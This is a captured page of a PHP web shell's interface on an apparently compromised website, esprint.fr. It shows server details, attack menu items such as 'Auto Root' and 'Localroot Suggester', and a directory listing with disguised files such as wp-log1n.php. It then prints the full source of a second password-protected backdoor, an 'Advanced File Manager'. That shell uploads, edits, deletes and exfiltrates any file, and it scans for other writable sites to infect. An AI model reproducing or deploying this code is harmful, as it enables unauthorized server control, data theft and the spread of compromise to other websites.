Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.49
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
esprint.fr /
Delete
Unzip
Name
Size
Permission
Date
Action
537de
[ DIR ]
dr-xr-xr-x
2025-11-10 11:09
a26de
[ DIR ]
dr-xr-xr-x
2025-11-10 07:07
archives
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
css
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
def3a6
[ DIR ]
drwxr-xr-x
2025-11-10 07:07
en
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
img
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
js
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
wp-admin
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
wp-content
[ DIR ]
drwxr-xr-x
2025-11-08 11:15
wp-includes
[ DIR ]
drwxr-xr-x
2025-11-10 07:07
.htaccess
1.13
KB
-r-xr-xr-x
2024-08-04 07:07
.htaccess_backup_1749090826
475
B
-rw-r--r--
2025-04-27 19:24
.htaccess_backup_1755358027
475
B
-rw-r--r--
2025-06-05 04:41
404.html
4.51
KB
-rw-r--r--
2021-10-12 15:30
ConnecteurSage_DEV.zip
5.69
MB
-rw-r--r--
2023-01-26 12:46
admin.php
9.52
KB
-rw-r--r--
2025-08-16 17:37
competences.html
9.82
KB
-rw-r--r--
2021-10-12 15:30
contact.html
5.73
KB
-rw-r--r--
2021-10-12 15:30
content.php
4.42
KB
-rw-r--r--
2025-09-10 03:50
header.php
12.19
KB
-rw-r--r--
2025-09-06 04:35
index.php
28.42
KB
-r-xr-xr-x
2023-05-17 07:07
index.php0
16.07
KB
-rw-r--r--
2023-08-30 07:07
mah.php
1.87
KB
-r--r--r--
2023-09-16 07:07
mentions-legales.html
4.59
KB
-rw-r--r--
2021-10-12 15:30
options.php
1.29
KB
-r--r--r--
2023-07-21 07:07
pages.php
1.45
KB
-r--r--r--
2023-11-03 07:07
radio.php
4.42
KB
-rw-r--r--
2025-08-31 04:44
references.html
8.89
KB
-rw-r--r--
2021-10-12 15:30
robots.txt
370
B
-r--r--r--
2023-04-01 07:07
slideshow.php
8.11
KB
-rw-r--r--
2025-08-16 17:37
webpublisher.html
8.81
KB
-rw-r--r--
2021-10-12 15:30
wp-log1n.php
1.93
KB
-r--r--r--
2023-10-19 07:07
Save
Rename
<?php session_start(); error_reporting(0); set_time_limit(0); $password = 'online274'; if (!isset($_SESSION['auth'])) { if (isset($_POST['pass']) && $_POST['pass'] === $password) { $_SESSION['auth'] = true; } else { echo '<form method="post" style="margin-top:100px;text-align:center;"> <input type="password" name="pass" placeholder="Password" autofocus /> <input type="submit" value="Login"> </form>'; exit; } } $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = realpath($path); chdir($path); function perms($file) { return substr(sprintf('%o', fileperms($file)), -4); } function breadcrumb($path) { $parts = explode(DIRECTORY_SEPARATOR, $path); $build = ''; $html = []; foreach ($parts as $part) { if ($part === '') continue; $build .= "/$part"; $html[] = "<a href='?path=" . urlencode($build) . "'>$part</a>"; } return implode(" / ", $html); } // === Actions if (isset($_GET['delete'])) { $target = $_GET['delete']; is_dir($target) ? rmdir($target) : unlink($target); header("Location: ?path=" . urlencode(dirname($target))); exit; } if (isset($_FILES['file'])) { move_uploaded_file($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name']); } if (isset($_POST['dirname'])) { mkdir($path . '/' . $_POST['dirname']); } if (isset($_POST['zipfile'])) { $zip = new ZipArchive; if ($zip->open($_POST['zipfile']) === TRUE) { $zip->extractTo($path); $zip->close(); } } if (isset($_GET['edit'])) { $file = $_GET['edit']; if (isset($_POST['content'])) { file_put_contents($file, $_POST['content']); header("Location: ?path=" . urlencode(dirname($file))); exit; } $content = file_get_contents($file); echo "<h3>Editing: " . basename($file) . "</h3> <form method='post'> <textarea name='content' style='width:95%; height:600px; font-family:monospace; font-size:14px; padding:10px;'>" . htmlspecialchars($content) . "</textarea><br> <input type='submit' value='Save'> </form><br><a href='?path=" . urlencode(dirname($file)) . "'>Cancel</a>"; exit; } if (isset($_POST['movefile']) && isset($_POST['destination'])) { rename($_POST['movefile'], $_POST['destination'] . '/' . basename($_POST['movefile'])); header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['renamefile']) && isset($_POST['newname'])) { $old = $_POST['renamefile']; $new = dirname($old) . '/' . $_POST['newname']; rename($old, $new); header("Location: ?path=" . urlencode($path)); exit; } // === Archive and Download if (isset($_GET['zip'])) { $target = $_GET['zip']; $zipname = basename($target) . '.zip'; $zip = new ZipArchive; if ($zip->open($zipname, ZipArchive::CREATE | ZipArchive::OVERWRITE)) { if (is_dir($target)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $file) { $filePath = $file->getRealPath(); $localPath = substr($filePath, strlen(dirname($target)) + 1); $zip->addFile($filePath, $localPath); } } else { $zip->addFile($target, basename($target)); } $zip->close(); header("Location: $zipname"); exit; } } // === Optional: Scan Websites $found_sites = []; if (isset($_POST['scan_sites'])) { $base = dirname(__DIR__) ?: '/var/www'; $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($iterator as $fileinfo) { if ($fileinfo->isDir()) { $dir = $fileinfo->getPathname(); if (is_writable($dir)) { $web_files = ['index.php', '.htaccess', 'wp-config.php']; foreach ($web_files as $wf) { if (file_exists("$dir/$wf")) { $found_sites[] = $dir; break; } } } } } } ?> <!DOCTYPE html> <html> <head> <title>Advanced File Manager</title> <style> body { font-family: 'Segoe UI', sans-serif; background:#f0f0f0; padding:20px; color:#333; } h2 { margin-bottom:10px; } .path, .info, .websites { background:#fff; padding:15px; border-radius:8px; margin-bottom:20px; box-shadow:0 2px 5px rgba(0,0,0,0.05); } .path a { color:#007A33; text-decoration:none; } table { width:100%; background:#fff; border-collapse: collapse; border-radius:8px; overflow:hidden; box-shadow: 0 0 8px rgba(0,0,0,0.1); } th, td { padding:12px; border-bottom:1px solid #eee; } th { background:#007A33; color:#fff; text-align:left; } tr:hover { background:#f9f9f9; } .actions { display: flex; flex-direction: column; gap: 6px; } .actions form, .actions a { display: block; } input[type="text"], input[type="file"], textarea { padding:6px; width:300px; } input[type="submit"], button { background:#007A33; color:#fff; border:none; padding:8px 14px; cursor:pointer; border-radius:4px; } form { display:inline-block; margin-right:10px; margin-bottom:10px; } </style> </head> <body> <h2>Advanced File Manager</h2> <div class="path"><strong>Current Path:</strong> <?php echo breadcrumb($path); ?></div> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="Upload File"> </form> <form method="POST"> <input type="text" name="dirname" placeholder="New Folder Name"> <input type="submit" value="Create Folder"> </form> <form method="POST"> <input type="text" name="zipfile" placeholder="Zip File Name"> <input type="submit" value="Unzip"> </form> <form method="POST"> <input type="submit" name="scan_sites" value="🔍 Search Websites"> </form> <?php if (!empty($found_sites)): ?> <div class="websites"> <h3>Writable Websites Found:</h3> <ul> <?php foreach ($found_sites as $site): ?> <li><strong><?php echo $site; ?></strong></li> <?php endforeach; ?> </ul> </div> <?php endif; ?> <table> <tr><th>Name</th><th>Type</th><th>Size</th><th>Perms</th><th>Actions</th></tr> <?php foreach (scandir($path) as $file) { if ($file == ".") continue; $full = $path . '/' . $file; $is_dir = is_dir($full); echo "<tr>"; echo "<td>" . htmlspecialchars($file) . "</td>"; echo "<td>" . ($is_dir ? "Directory" : "File") . "</td>"; echo "<td>" . ($is_dir ? "-" : filesize($full) . " bytes") . "</td>"; echo "<td>" . perms($full) . "</td>"; echo "<td class='actions'>"; if ($is_dir) { echo "<a href='?path=" . urlencode($full) . "'>Open</a>"; } else { echo "<a href='?edit=" . urlencode($full) . "'>Edit</a>"; echo "<a href='" . basename($full) . "' download>Download</a>"; } echo "<a href='?zip=" . urlencode($full) . "'>\ud83d\udcc6 Archive & Download</a>"; echo "<a href='?delete=" . urlencode($full) . "' onclick='return confirm(\"Delete?\");'>Delete</a>"; echo "<form method='post'> <input type='hidden' name='movefile' value='" . htmlspecialchars($full) . "'> <input type='text' name='destination' placeholder='Move to...'> <input type='submit' value='Move'> </form>"; echo "<form method='post'> <input type='hidden' name='renamefile' value='" . htmlspecialchars($full) . "'> <input type='text' name='newname' placeholder='Rename to...'> <input type='submit' value='Rename'> </form>"; echo "</td></tr>"; } ?> </table> </body> </html>